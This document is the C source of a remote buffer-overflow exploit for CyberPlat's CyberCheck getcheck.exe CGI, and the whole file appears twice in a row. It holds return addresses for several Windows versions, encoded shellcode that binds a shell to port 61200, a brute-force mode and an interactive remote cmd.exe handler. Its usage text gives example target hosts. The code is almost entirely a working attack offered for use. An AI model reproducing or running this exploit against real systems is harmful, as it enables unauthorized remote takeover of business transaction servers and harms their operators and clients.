/* _ ___ _ _ _ _ __| |_ _ / __| | | _ _ (_)_ _| |__ __ _ ___ / _` | '_| (_ |_ _| ' \ | | || | '_ \/ _` (_-< \__,_|_| \___| |_||_||_|/ |\_,_|_.__/\__,_/__/ |__/ Presents... Cybercheck Buffer Overflow Exploit CyberCheck is a subsystem of handling business-to-business transactions involving the electronic document interchange for the clients registered in CyberPlat. Learn more on www.cyberplat.com Details: When you use incoreect request method, getcheck.exe call sprintf to write into log: sprintf(buffer,"CGI_CheckEnvironment: Invalid REQUEST_METHOD=%s.", ...) If you use too long method, buffer will be overrun. Vulnerability discovered by drG4njubas of m00. Contacts: drG4njubas@bk.ru, http://m00.void.ru Thanks to d4rkgr3y for porting to linux. */ #include #include #include #include #pragma comment (lib,"wsock32") void usage(); void have_fun(SOCKET sock); struct{ char *platform; DWORD retaddr; } targets[]={ {"Windows 2k sp4 eng" , 0x7c4fedbb }, {"Windows 2k sp3 rus" , 0x77E822EA }, {"Windows xp sp1 rus" , 0x77e626ba }, {"Windows xp sp0 rus" , 0x77f5801c }, {"Windows nt sp6 rus" , 0x77f32935 }, NULL }; char shellcode[]= //Generic win32 shellcode I coded(binds shell to a port 61200) "\x90\x90\x90\x90\x90\xEB\x0F\x58\x80\x30\xBB\x40\x81\x38\x6D" "\x30\x30\x21\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF\x52\xD7\xBA" "\xBB\xBB\xE6\xEE\x8A\x60\xDF\x30\xB8\xFB\x28\x30\xF8\x44\xFB" "\xCE\x42\x30\xE8\xB8\xDD\x8A\x69\xDD\x03\xBB\xAB\xDD\x3A\x81" "\xF6\xE1\xCF\xBC\x92\x79\x52\x49\x44\x44\x44\x32\x68\x30\xC1" "\x87\xBA\x6C\xB8\xE4\xC3\x30\xF0\xA3\x30\xC8\x9B\x30\xC0\x9F" "\xBA\x6D\xBA\x6C\x47\x16\xBA\x6B\x2D\x3C\x46\xEA\x8A\x72\x3B" "\x7A\xB4\x48\x1D\xC9\xB1\x2D\xE2\x3C\x46\xCF\xA9\xFC\xFC\x59" "\x5D\x05\xB4\xBB\xBB\xBB\x92\x75\x92\x4C\x52\x53\x44\x44\x44" "\x8A\x7B\xDD\x30\xBC\x7A\x5B\xB9\x30\xC8\xA7\xBA\x6D\xBA\x7D" "\x16\xBA\x6B\x32\x7D\x32\x6C\xE6\xEC\x36\x26\xB4\xBB\xBB\xBB" "\xE8\xEC\x44\x6D\x36\x26\xE8\xBB\xBB\xBB\xE8\x44\x6B\x32\x7C" "\x36\x3E\xE1\xBB\xBB\xBB\xEB\xEC\x44\x6D\x36\x36\x2C\xBB\xBB" "\xBB\xEA\xD3\xB9\xBB\xBB\xBB\x44\x6B\x36\x26\xDE\xBB\xBB\xBB" "\xE8\xEC\x44\x6D\x8A\x72\xEA\xEA\xEA\xEA\xD3\xBA\xBB\xBB\xBB" "\xD3\xB9\xBB\xBB\xBB\x44\x6B\x32\x78\x36\x3E\xCB\xBB\xBB\xBB" "\xEB\xEC\x44\x6D\xD3\xAB\xBB\xBB\xBB\x36\x36\x38\xBB\xBB\xBB" "\xEA\xE8\x44\x6B\x36\x3E\xCE\xBB\xBB\xBB\xEB\xEC\x44\x6D\xD3" "\xBA\xBB\xBB\xBB\xE8\x44\x6B\x36\x3E\xC7\xBB\xBB\xBB\xEB\xEC" "\x44\x6D\x8A\x72\xEA\xEA\xE8\x44\x6B\xE4\xEB\x36\x26\xFC\xBB" "\xBB\xBB\xE8\xEC\x44\x6D\xD3\x44\xBB\xBB\xBB\xD3\xFB\xBB\xBB" "\xBB\x44\x6B\x32\x78\x36\x36\x93\xBB\xBB\xBB\xEA\xEC\x44\x6D" "\xE8\x44\x6B\xE3\x32\xF8\xFB\x32\xF8\x87\x32\xF8\x83\x7C\xF8" "\x97\xBA\xBA\xBB\xBB\x36\x3E\x83\xBB\xBB\xBB\xEB\xEC\x44\x6D" "\xE8\xE8\x8A\x72\xEA\xEA\xEA\xD3\xBA\xBB\xBB\xBB\xEA\xEA\x36" "\x26\x04\xBB\xBB\xBB\xE8\xEA\x44\x6B\x36\x3E\xA7\xBB\xBB\xBB" "\xEB\xEC\x44\x6D\x44\x6B\x53\x34\x45\x44\x44\xFC\xDE\xCF\xEB" "\xC9\xD4\xD8\xFA\xDF\xDF\xC9\xDE\xC8\xC8\xBB\xF7\xD4\xDA\xDF" "\xF7\xD2\xD9\xC9\xDA\xC9\xC2\xFA\xBB\xFE\xC3\xD2\xCF\xEB\xC9" "\xD4\xD8\xDE\xC8\xC8\xBB\xFC\xDE\xCF\xE8\xCF\xDA\xC9\xCF\xCE" "\xCB\xF2\xD5\xDD\xD4\xFA\xBB\xF8\xC9\xDE\xDA\xCF\xDE\xEB\xC9" "\xD4\xD8\xDE\xC8\xC8\xFA\xBB\xFC\xD7\xD4\xD9\xDA\xD7\xFA\xD7" "\xD7\xD4\xD8\xBB\xCC\xC8\x89\xE4\x88\x89\xBB\xEC\xE8\xFA\xE8" "\xCF\xDA\xC9\xCF\xCE\xCB\xBB\xEC\xE8\xFA\xE8\xD4\xD8\xD0\xDE" "\xCF\xFA\xBB\xD9\xD2\xD5\xDF\xBB\xD7\xD2\xC8\xCF\xDE\xD5\xBB" "\xDA\xD8\xD8\xDE\xCB\xCF\xBB\xB9\xBB\x54\xAB\xBB\xBB\xBB\xBB" "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBA\xBB\xBB\xBB\xBB\xBB\xBB" "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB" "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB" "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xD8\xD6\xDF\xBB\x6D\x30\x30\x21"; char URI[255] = " /cgi-bin/getcheck.exe"; char request[]= " HTTP/1.1\r\nAccept: */*\r\n"; void main(int argc, char **argv){ WSADATA wsaData; SOCKADDR_IN rmaddr,rmshell; HOSTENT *addr; SOCKET sock,shell; char exploit[2023+sizeof(shellcode)-1]; char *uri,*tmp, host[255]; int i,t,ret,ok,start,end,bruteforce; printf("************************************************\n"); printf("Cybercheck buffer overflow exploit by drG4njubas\n"); printf("************************************************\n\n"); if(argc<3){ usage(); return; } uri = 0; t = 0; bruteforce = 0; for(i = 3; i < argc; i++){ if(strncmp(argv[i], "/u", 2)==0){ uri = argv[i]; uri[2] == ':' ? (uri+=3) : (uri+=2); } else if(strncmp(argv[i],"/t", 2)==0){ tmp = argv[i]; tmp[2] == ':' ? (tmp+=3) : (tmp+=2); t = atoi(tmp); } else if(strncmp(argv[i],"/b", 2)==0 && i+2 < argc){ start = strtoul(argv[i+1],0,0); end = strtoul(argv[i+2],0,0); i+=2; bruteforce=1; } } if(uri)strncpy(URI+1, uri, 254); if(!bruteforce){ i=0; while(targets[i].platform)i++; if(t >= i){ printf("Bad target number.\n"); return; } start = targets[t].retaddr; end = targets[t].retaddr; } for(i = 0; i<2019; i++)exploit[i] = 'a'; memcpy(exploit+2023, shellcode, sizeof(shellcode)-1); _snprintf(host, 255, "Host: %s\r\n\r\n", argv[1]); WSAStartup(MAKEWORD(2,2), &wsaData); printf("[+]Resolving %s\n", argv[1]); addr = gethostbyname(argv[1]); if(addr != NULL){ memcpy(&(rmaddr.sin_addr.s_addr), addr->h_addr_list[0], addr->h_length); memcpy(&(rmshell.sin_addr.s_addr), addr->h_addr_list[0], addr->h_length); } else{ printf("[-]Can not resolve host name\n"); return; } rmaddr.sin_family = AF_INET; rmshell.sin_family = AF_INET; rmaddr.sin_port = htons(atoi(argv[2])); rmshell.sin_port = htons(61200); shell = socket(AF_INET, SOCK_STREAM, 0); if(bruteforce)printf("[+]Starting bruteforce from %p to %p\n", start, end); for(ret = start; ret <= end; ret++){ sock = socket(AF_INET, SOCK_STREAM, 0); if(!bruteforce)printf("[+]Connecting to %s\n", argv[1]); if(connect(sock,(struct sockaddr *)&rmaddr,sizeof(rmaddr))){ printf("[-]Connection failed\n"); return; } if(!bruteforce)printf("[+]Using ret for %s\n", targets[t].platform); memcpy(exploit+2019, &ret, 4); ok = 1; for(i = 2019; i< 2023; i++) if(exploit[i] == 0x00 || exploit[i] == 0x0A || exploit[i] == 0x20)ok = 0; if(ok){ if(bruteforce)printf(" - Trying ret 0x%p\n", ret); else printf("[+]Sending exploit\n"); send(sock, exploit, 2023+sizeof(shellcode)-1, 0); send(sock, URI, strlen(URI), 0); send(sock, request, sizeof(request)-1, 0); send(sock, host, strlen(host), 0); closesocket(sock); if(!connect(shell,(struct sockaddr *)&rmshell,sizeof(rmshell))){ printf("[+]Congratulations!!! You've got shell;D\n\n"); have_fun(shell); break; } else if(!bruteforce)printf("[-]Exploitation failed;(\n"); } else printf(" - Ret %p can not be used!\n", ret); } closesocket(shell); WSACleanup(); } void usage(){ int i; printf("USAGE: \n"); printf("m00-cybercheck.exe [/u:Request-URI] [/t:num] [/b start end] \n"); printf(" - hostname(example: www.cyberplat.ru)\n"); printf(" - portnumber(example: 80)\n"); printf("[/u:uri] - request-uri(default: /cgi-bin/getcheck.exe)\n"); printf("[/t:num] - target number(see \"TARGETS\")\n"); printf("[/b start end] - bruteforce mode(don't use it with /t key)\n\n"); printf("TARGETS:\n"); for(i =0; targets[i].platform; i++) printf("%d - %s\n", i, targets[i].platform); printf("\nEXAMPLE:\n"); printf("m00-cybercheck.exe www.host.ru 80 /u:/scripts/getcheck.exe /t2\n"); printf("m00-cybercheck.exe www.host.ru 80 /b 0x11223344 0x55667788\n\n"); } /* have fun with a nice cmd.exe shell ;D */ void have_fun(SOCKET sock){ char buf[1024]; int i,j,read,written; fd_set fdread; TIMEVAL time; HANDLE std_in, std_out; INPUT_RECORD rec; time.tv_sec = 1; time.tv_usec = 0; std_in = GetStdHandle(STD_INPUT_HANDLE); std_out = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleMode(std_in, ENABLE_ECHO_INPUT | ENABLE_PROCESSED_INPUT); do{ FD_ZERO(&fdread); FD_SET(sock, &fdread); i = select(0, &fdread, NULL, NULL, &time); if(i > 0){ if((j = recv(sock, buf, 1024, 0)) == SOCKET_ERROR)return; WriteConsole(std_out, buf, j, &written, NULL); } PeekConsoleInput(std_in, &rec,1, &read); if(read){ ReadConsole(std_in, buf, 1024, &read, NULL); if(send(sock, buf, read, 0) == SOCKET_ERROR)return; } }while(i != SOCKET_ERROR); return; }/* _ ___ _ _ _ _ __| |_ _ / __| | | _ _ (_)_ _| |__ __ _ ___ / _` | '_| (_ |_ _| ' \ | | || | '_ \/ _` (_-< \__,_|_| \___| |_||_||_|/ |\_,_|_.__/\__,_/__/ |__/ Presents... Cybercheck Buffer Overflow Exploit CyberCheck is a subsystem of handling business-to-business transactions involving the electronic document interchange for the clients registered in CyberPlat. Learn more on www.cyberplat.com Details: When you use incoreect request method, getcheck.exe call sprintf to write into log: sprintf(buffer,"CGI_CheckEnvironment: Invalid REQUEST_METHOD=%s.", ...) If you use too long method, buffer will be overrun. Vulnerability discovered by drG4njubas of m00. Contacts: drG4njubas@bk.ru, http://m00.void.ru Thanks to d4rkgr3y for porting to linux. */ #include #include #include #include #pragma comment (lib,"wsock32") void usage(); void have_fun(SOCKET sock); struct{ char *platform; DWORD retaddr; } targets[]={ {"Windows 2k sp4 eng" , 0x7c4fedbb }, {"Windows 2k sp3 rus" , 0x77E822EA }, {"Windows xp sp1 rus" , 0x77e626ba }, {"Windows xp sp0 rus" , 0x77f5801c }, {"Windows nt sp6 rus" , 0x77f32935 }, NULL }; char shellcode[]= //Generic win32 shellcode I coded(binds shell to a port 61200) "\x90\x90\x90\x90\x90\xEB\x0F\x58\x80\x30\xBB\x40\x81\x38\x6D" "\x30\x30\x21\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF\x52\xD7\xBA" "\xBB\xBB\xE6\xEE\x8A\x60\xDF\x30\xB8\xFB\x28\x30\xF8\x44\xFB" "\xCE\x42\x30\xE8\xB8\xDD\x8A\x69\xDD\x03\xBB\xAB\xDD\x3A\x81" "\xF6\xE1\xCF\xBC\x92\x79\x52\x49\x44\x44\x44\x32\x68\x30\xC1" "\x87\xBA\x6C\xB8\xE4\xC3\x30\xF0\xA3\x30\xC8\x9B\x30\xC0\x9F" "\xBA\x6D\xBA\x6C\x47\x16\xBA\x6B\x2D\x3C\x46\xEA\x8A\x72\x3B" "\x7A\xB4\x48\x1D\xC9\xB1\x2D\xE2\x3C\x46\xCF\xA9\xFC\xFC\x59" "\x5D\x05\xB4\xBB\xBB\xBB\x92\x75\x92\x4C\x52\x53\x44\x44\x44" "\x8A\x7B\xDD\x30\xBC\x7A\x5B\xB9\x30\xC8\xA7\xBA\x6D\xBA\x7D" "\x16\xBA\x6B\x32\x7D\x32\x6C\xE6\xEC\x36\x26\xB4\xBB\xBB\xBB" "\xE8\xEC\x44\x6D\x36\x26\xE8\xBB\xBB\xBB\xE8\x44\x6B\x32\x7C" "\x36\x3E\xE1\xBB\xBB\xBB\xEB\xEC\x44\x6D\x36\x36\x2C\xBB\xBB" "\xBB\xEA\xD3\xB9\xBB\xBB\xBB\x44\x6B\x36\x26\xDE\xBB\xBB\xBB" "\xE8\xEC\x44\x6D\x8A\x72\xEA\xEA\xEA\xEA\xD3\xBA\xBB\xBB\xBB" "\xD3\xB9\xBB\xBB\xBB\x44\x6B\x32\x78\x36\x3E\xCB\xBB\xBB\xBB" "\xEB\xEC\x44\x6D\xD3\xAB\xBB\xBB\xBB\x36\x36\x38\xBB\xBB\xBB" "\xEA\xE8\x44\x6B\x36\x3E\xCE\xBB\xBB\xBB\xEB\xEC\x44\x6D\xD3" "\xBA\xBB\xBB\xBB\xE8\x44\x6B\x36\x3E\xC7\xBB\xBB\xBB\xEB\xEC" "\x44\x6D\x8A\x72\xEA\xEA\xE8\x44\x6B\xE4\xEB\x36\x26\xFC\xBB" "\xBB\xBB\xE8\xEC\x44\x6D\xD3\x44\xBB\xBB\xBB\xD3\xFB\xBB\xBB" "\xBB\x44\x6B\x32\x78\x36\x36\x93\xBB\xBB\xBB\xEA\xEC\x44\x6D" "\xE8\x44\x6B\xE3\x32\xF8\xFB\x32\xF8\x87\x32\xF8\x83\x7C\xF8" "\x97\xBA\xBA\xBB\xBB\x36\x3E\x83\xBB\xBB\xBB\xEB\xEC\x44\x6D" "\xE8\xE8\x8A\x72\xEA\xEA\xEA\xD3\xBA\xBB\xBB\xBB\xEA\xEA\x36" "\x26\x04\xBB\xBB\xBB\xE8\xEA\x44\x6B\x36\x3E\xA7\xBB\xBB\xBB" "\xEB\xEC\x44\x6D\x44\x6B\x53\x34\x45\x44\x44\xFC\xDE\xCF\xEB" "\xC9\xD4\xD8\xFA\xDF\xDF\xC9\xDE\xC8\xC8\xBB\xF7\xD4\xDA\xDF" "\xF7\xD2\xD9\xC9\xDA\xC9\xC2\xFA\xBB\xFE\xC3\xD2\xCF\xEB\xC9" "\xD4\xD8\xDE\xC8\xC8\xBB\xFC\xDE\xCF\xE8\xCF\xDA\xC9\xCF\xCE" "\xCB\xF2\xD5\xDD\xD4\xFA\xBB\xF8\xC9\xDE\xDA\xCF\xDE\xEB\xC9" "\xD4\xD8\xDE\xC8\xC8\xFA\xBB\xFC\xD7\xD4\xD9\xDA\xD7\xFA\xD7" "\xD7\xD4\xD8\xBB\xCC\xC8\x89\xE4\x88\x89\xBB\xEC\xE8\xFA\xE8" "\xCF\xDA\xC9\xCF\xCE\xCB\xBB\xEC\xE8\xFA\xE8\xD4\xD8\xD0\xDE" "\xCF\xFA\xBB\xD9\xD2\xD5\xDF\xBB\xD7\xD2\xC8\xCF\xDE\xD5\xBB" "\xDA\xD8\xD8\xDE\xCB\xCF\xBB\xB9\xBB\x54\xAB\xBB\xBB\xBB\xBB" "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBA\xBB\xBB\xBB\xBB\xBB\xBB" "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB" "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB" "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xD8\xD6\xDF\xBB\x6D\x30\x30\x21"; char URI[255] = " /cgi-bin/getcheck.exe"; char request[]= " HTTP/1.1\r\nAccept: */*\r\n"; void main(int argc, char **argv){ WSADATA wsaData; SOCKADDR_IN rmaddr,rmshell; HOSTENT *addr; SOCKET sock,shell; char exploit[2023+sizeof(shellcode)-1]; char *uri,*tmp, host[255]; int i,t,ret,ok,start,end,bruteforce; printf("************************************************\n"); printf("Cybercheck buffer overflow exploit by drG4njubas\n"); printf("************************************************\n\n"); if(argc<3){ usage(); return; } uri = 0; t = 0; bruteforce = 0; for(i = 3; i < argc; i++){ if(strncmp(argv[i], "/u", 2)==0){ uri = argv[i]; uri[2] == ':' ? (uri+=3) : (uri+=2); } else if(strncmp(argv[i],"/t", 2)==0){ tmp = argv[i]; tmp[2] == ':' ? (tmp+=3) : (tmp+=2); t = atoi(tmp); } else if(strncmp(argv[i],"/b", 2)==0 && i+2 < argc){ start = strtoul(argv[i+1],0,0); end = strtoul(argv[i+2],0,0); i+=2; bruteforce=1; } } if(uri)strncpy(URI+1, uri, 254); if(!bruteforce){ i=0; while(targets[i].platform)i++; if(t >= i){ printf("Bad target number.\n"); return; } start = targets[t].retaddr; end = targets[t].retaddr; } for(i = 0; i<2019; i++)exploit[i] = 'a'; memcpy(exploit+2023, shellcode, sizeof(shellcode)-1); _snprintf(host, 255, "Host: %s\r\n\r\n", argv[1]); WSAStartup(MAKEWORD(2,2), &wsaData); printf("[+]Resolving %s\n", argv[1]); addr = gethostbyname(argv[1]); if(addr != NULL){ memcpy(&(rmaddr.sin_addr.s_addr), addr->h_addr_list[0], addr->h_length); memcpy(&(rmshell.sin_addr.s_addr), addr->h_addr_list[0], addr->h_length); } else{ printf("[-]Can not resolve host name\n"); return; } rmaddr.sin_family = AF_INET; rmshell.sin_family = AF_INET; rmaddr.sin_port = htons(atoi(argv[2])); rmshell.sin_port = htons(61200); shell = socket(AF_INET, SOCK_STREAM, 0); if(bruteforce)printf("[+]Starting bruteforce from %p to %p\n", start, end); for(ret = start; ret <= end; ret++){ sock = socket(AF_INET, SOCK_STREAM, 0); if(!bruteforce)printf("[+]Connecting to %s\n", argv[1]); if(connect(sock,(struct sockaddr *)&rmaddr,sizeof(rmaddr))){ printf("[-]Connection failed\n"); return; } if(!bruteforce)printf("[+]Using ret for %s\n", targets[t].platform); memcpy(exploit+2019, &ret, 4); ok = 1; for(i = 2019; i< 2023; i++) if(exploit[i] == 0x00 || exploit[i] == 0x0A || exploit[i] == 0x20)ok = 0; if(ok){ if(bruteforce)printf(" - Trying ret 0x%p\n", ret); else printf("[+]Sending exploit\n"); send(sock, exploit, 2023+sizeof(shellcode)-1, 0); send(sock, URI, strlen(URI), 0); send(sock, request, sizeof(request)-1, 0); send(sock, host, strlen(host), 0); closesocket(sock); if(!connect(shell,(struct sockaddr *)&rmshell,sizeof(rmshell))){ printf("[+]Congratulations!!! You've got shell;D\n\n"); have_fun(shell); break; } else if(!bruteforce)printf("[-]Exploitation failed;(\n"); } else printf(" - Ret %p can not be used!\n", ret); } closesocket(shell); WSACleanup(); } void usage(){ int i; printf("USAGE: \n"); printf("m00-cybercheck.exe [/u:Request-URI] [/t:num] [/b start end] \n"); printf(" - hostname(example: www.cyberplat.ru)\n"); printf(" - portnumber(example: 80)\n"); printf("[/u:uri] - request-uri(default: /cgi-bin/getcheck.exe)\n"); printf("[/t:num] - target number(see \"TARGETS\")\n"); printf("[/b start end] - bruteforce mode(don't use it with /t key)\n\n"); printf("TARGETS:\n"); for(i =0; targets[i].platform; i++) printf("%d - %s\n", i, targets[i].platform); printf("\nEXAMPLE:\n"); printf("m00-cybercheck.exe www.host.ru 80 /u:/scripts/getcheck.exe /t2\n"); printf("m00-cybercheck.exe www.host.ru 80 /b 0x11223344 0x55667788\n\n"); } /* have fun with a nice cmd.exe shell ;D */ void have_fun(SOCKET sock){ char buf[1024]; int i,j,read,written; fd_set fdread; TIMEVAL time; HANDLE std_in, std_out; INPUT_RECORD rec; time.tv_sec = 1; time.tv_usec = 0; std_in = GetStdHandle(STD_INPUT_HANDLE); std_out = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleMode(std_in, ENABLE_ECHO_INPUT | ENABLE_PROCESSED_INPUT); do{ FD_ZERO(&fdread); FD_SET(sock, &fdread); i = select(0, &fdread, NULL, NULL, &time); if(i > 0){ if((j = recv(sock, buf, 1024, 0)) == SOCKET_ERROR)return; WriteConsole(std_out, buf, j, &written, NULL); } PeekConsoleInput(std_in, &rec,1, &read); if(read){ ReadConsole(std_in, buf, 1024, &read, NULL); if(send(sock, buf, read, 0) == SOCKET_ERROR)return; } }while(i != SOCKET_ERROR); return; }